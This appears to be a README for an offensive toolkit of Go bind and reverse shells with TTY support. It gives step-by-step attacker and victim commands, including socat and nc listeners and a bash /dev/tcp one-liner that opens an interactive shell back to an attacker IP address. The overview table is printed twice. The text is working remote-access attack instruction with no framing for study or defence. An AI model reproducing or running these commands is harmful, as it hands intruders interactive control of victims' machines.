Scripts Overview
| Script | Description |
|---|---|
| bind.go | Go bind shell listening on TCP port with TTY via pty |
| rev.go | Go reverse shell connecting back to attacker with TTY via pty |
| Bash + script | Bash command using script to spawn a pseudo-TTY over TCP |
| Script | Description |
|---|---|
| bind.go | Go bind shell listening on TCP port with TTY via pty |
| rev.go | Go reverse shell connecting back to attacker with TTY via pty |
| Bash + script | Bash command using script to spawn a pseudo-TTY over TCP |
Use socat on the attacker side and bind.go on the victim to establish an interactive bind shell.
Attacker listens with:
socat -,raw,echo=0 TCP:10.0.4.84:4444
Victim runs:
go run bind.go
Use nc on the attacker side and rev.go on the victim for a reverse shell.
Attacker listens with:
nc -nlvp 4444
Victim runs:
go run rev.go
When Go is not available on the attacker side, you can receive a fully interactive shell from the victim using built-in Linux utilities.
Execute on victim to spawn a pseudo-TTY over TCP:
bash -c 'exec 5<>/dev/tcp/10.0.4.84/4444; script -qc bash /dev/null <&5 >&5 2>&5'
To receive this TTY shell using Go, run the Go listener:
go run ttyrecibe.go